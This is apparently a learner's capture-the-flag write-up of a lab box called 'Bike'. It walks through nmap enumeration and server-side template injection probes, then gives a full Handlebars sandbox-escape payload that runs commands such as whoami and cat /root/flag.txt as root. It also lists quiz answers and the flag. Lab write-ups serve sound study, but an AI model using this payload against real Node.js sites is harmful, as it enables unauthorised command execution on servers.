This box was really tough to pwn. I am 100% sure I wouldn’t have been able to clear it on my own without the provided walkthrough documents. I understand every step from the enumeration phase to the exploit, but I think I lack the knowledge to connect the dots between enumeration and exploits. This is also my first time encountering the Template Engine
and SSTI Vulnerability
. I know it takes time, and I have improved a lot over the past month. I am trying not to hurry my learning because impatience has negatively impacted me several times in my life. I really do not want that to happen again. Let’s take it slow.
What TCP ports does nmap identify as open? Answer with a list of ports separated by commas with no spaces, from low to high.
22,80
What software is running the service listening on the http/web port identified in the first question?
Node.js
1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
3| ssh-hostkey:
4| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
5| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
6|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
780/tcp open http Node.js (Express middleware)
8|_http-title: Bike
9Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
What is the name of the Web Framework according to Wappalyzer?
Express
What is the name of the vulnerability we test for by submitting {{7*7}}?
Server Side Template Injection
According to the official write up, Server-side template injection
is a vulnerability where the attacker injects malicious input into a template in order to execute commands on the server. This attack is very common on Node.js websites and there is a good possibility that a Template Engine is being used to reflect the email that the user inputs in the contact field.
the following variety of special characters are commonly used in template expressions. Some of these payloads are used to identify SSTI vulnerabilities. If an SSTI exists, after submitting one of them, the web server will detect these expressions as valid code and attempt to execute them, in this instance calculating the mathematical equation 7 * 7
, which is equal to 49.
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Inputted {{7 * 7}}
into the email form and it outputted the following:
This output means that the payload was indeed detected as valid by the template engine, but the code had some error and was unable to be executed. An error is not always a bad thing. From this output, we can see that the server is running from the /root/Backend
directory and also that the Handlebars
Template is being used.
What is the templating engine being used within Node.js?
Handlebars
What is the name of the BurpSuite tab used to encode text?
Decoder
In order to send special characters in our payload in an HTTP request, we will encode the payload. What type of encoding do we use?
URL
When making a request to a web server, the data that we send can only contain certain characters from the standard 128 character ASCII set. Reserved characters that do not belong to this set must be encoded. For this reason we use an encoding procedure that is called URL Encoding
.
With this process, the reserved character &
becomes %26
. Burpsuite has a tab called Decoder
that allows us to either decode or encode the text of our choice with various different encoding methods, including URL.
Let’s copy the payload of Handlebars (NodeJS) from the HackTricks and paste into the Burpsuite Decoder.
When we use a payload from HackTricks to try to run system commands, we get an error back. What is “not defined” in the response error?
require
I copied the URL encoded payload and pasted it in the email field via the request tab of Repeater. I sent the request and the response output showed that require is not defined
. That’s because our payload includes require
, which is a Javascript keyword.
According to the Walkthrough, Template Engines are often Sanboxed, meaning their code runs in a restricted code space so that in the event of malicious code being run, it will be very hard to load modules that can run system commands. If we cannot directly use require
to load such modules, we will have to find a different way.
What variable is the name of the top-level scope in Node.JS?
Global
In computer programming Globals
are variables that are globally accessible throughout the program. require
keyword is in fact not in the global scope.
I modified my payload code like the following, I got the status 200
response and the require
object has been called successfully and the child_process
module loaded.
1{{#with "s" as |string|}}
2 {{#with "e"}}
3 {{#with split as |conslist|}}
4 {{this.pop}}
5 {{this.push (lookup string.sub "constructor")}}
6 {{this.pop}}
7 {{#with string.split as |codelist|}}
8 {{this.pop}}
9 {{this.push "return process.mainModule.require('child_process');"}}
10 {{this.pop}}
11 {{#each conslist}}
12 {{#with (string.sub.apply 0 codelist)}}
13 {{this}}
14 {{/with}}
15 {{/each}}
16 {{/with}}
17 {{/with}}
18 {{/with}}
19{{/with}}
By exploiting this vulnerability, we get command execution as the user the webserver is running as. What is the name of that user?
root
I attempted to run system commands now by running the following payload (of course I needed to URLencode it first through Burpsuite Decoder)
1{{#with "s" as |string|}}
2 {{#with "e"}}
3 {{#with split as |conslist|}}
4 {{this.pop}}
5 {{this.push (lookup string.sub "constructor")}}
6 {{this.pop}}
7 {{#with string.split as |codelist|}}
8 {{this.pop}}
9 {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
10 {{this.pop}}
11 {{#each conslist}}
12 {{#with (string.sub.apply 0 codelist)}}
13 {{this}}
14 {{/with}}
15 {{/each}}
16 {{/with}}
17 {{/with}}
18 {{/with}}
19{{/with}}
The system command successfully returned root
, meaning that I have run the system commands on the box and also that the web server is running in the context of the root
user.
Submit root flag
6b258d726d287462d60c103d0142a81c
1{{#with "s" as |string|}}
2 {{#with "e"}}
3 {{#with split as |conslist|}}
4 {{this.pop}}
5 {{this.push (lookup string.sub "constructor")}}
6 {{this.pop}}
7 {{#with string.split as |codelist|}}
8 {{this.pop}}
9 {{this.push "return process.mainModule.require('child_process').execSync('ls /root');"}}
10 {{this.pop}}
11 {{#each conslist}}
12 {{#with (string.sub.apply 0 codelist)}}
13 {{this}}
14 {{/with}}
15 {{/each}}
16 {{/with}}
17 {{/with}}
18 {{/with}}
19{{/with}}
With the payload above which contains the command ls /root
, I was able to confirm that the root
directory contains the flag.txt file. All I need to do is modify the payload further for the one last time to display the flag.
1{{#with "s" as |string|}}
2 {{#with "e"}}
3 {{#with split as |conslist|}}
4 {{this.pop}}
5 {{this.push (lookup string.sub "constructor")}}
6 {{this.pop}}
7 {{#with string.split as |codelist|}}
8 {{this.pop}}
9 {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
10 {{this.pop}}
11 {{#each conslist}}
12 {{#with (string.sub.apply 0 codelist)}}
13 {{this}}
14 {{/with}}
15 {{/each}}
16 {{/with}}
17 {{/with}}
18 {{/with}}
19{{/with}}
Got the flag.